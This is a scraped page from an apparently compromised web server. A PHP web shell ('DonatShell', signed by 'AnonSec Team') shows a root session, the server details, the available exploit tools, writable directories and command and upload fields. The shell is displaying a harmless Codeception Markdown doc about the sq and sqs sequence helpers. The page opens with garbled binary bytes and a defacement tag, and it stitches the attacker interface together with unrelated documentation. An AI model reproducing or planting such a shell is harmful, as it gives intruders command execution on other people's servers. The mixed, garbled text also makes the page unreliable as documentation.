%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 49.231.201.246  /  Your IP : 216.73.216.149
Web Server : Apache/2.4.18 (Ubuntu)
System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User : root ( 0)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/11585/root/var/www/html/ppaobm/vendor/codeception/base/docs/modules/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /proc/11585/root/var/www/html/ppaobm/vendor/codeception/base/docs/modules/Sequence.md
# Sequence


Sequence solves data cleanup issue in alternative way.
Instead cleaning up the database between tests,
you can use generated unique names, that should not conflict.
When you create article on a site, for instance, you can assign it a unique name and then check it.

This module has no actions, but introduces a function `sq` for generating unique sequences within test and
`sqs` for generating unique sequences across suite.

### Usage

Function `sq` generates sequence, the only parameter it takes, is id.
You can get back to previously generated sequence using that id:

``` php
<?php
sq('post1'); // post1_521fbc63021eb
sq('post2'); // post2_521fbc6302266
sq('post1'); // post1_521fbc63021eb
```

Example:

``` php
<?php
$I->wantTo('create article');
$I->click('New Article');
$I->fillField('Title', sq('Article'));
$I->fillField('Body', 'Demo article with Lorem Ipsum');
$I->click('save');
$I->see(sq('Article') ,'#articles')
```

Populating Database:

``` php
<?php

for ($i = 0; $i<10; $i++) {
     $I->haveInDatabase('users', array('login' => sq("user$i"), 'email' => sq("user$i").'@email.com');
}
?>
```

Cest Suite tests:

``` php
<?php
class UserTest
{
    public function createUser(AcceptanceTester $I)
    {
        $I->createUser(sqs('user') . '@mailserver.com', sqs('login'), sqs('pwd'));
    }

    public function checkEmail(AcceptanceTester $I)
    {
        $I->seeInEmailTo(sqs('user') . '@mailserver.com', sqs('login'));
    }

    public function removeUser(AcceptanceTester $I)
    {
        $I->removeUser(sqs('user') . '@mailserver.com');
    }
}
?>
```

### Config

By default produces unique string with param as a prefix:

```
sq('user') => 'user_876asd8as87a'
```

This behavior can be configured using `prefix` config param.

Old style sequences:

```yaml
Sequence:
    prefix: '_'
```

Using id param inside prefix:

```yaml
Sequence:
    prefix: '{id}.'
```

## Actions

<p>&nbsp;</p><div class="alert alert-warning">Module reference is taken from the source code. <a href="https://github.com/Codeception/Codeception/tree/2.4/src/Codeception/Module/Sequence.php">Help us to improve documentation. Edit module reference</a></div>

Anon7 - 2022
AnonSec Team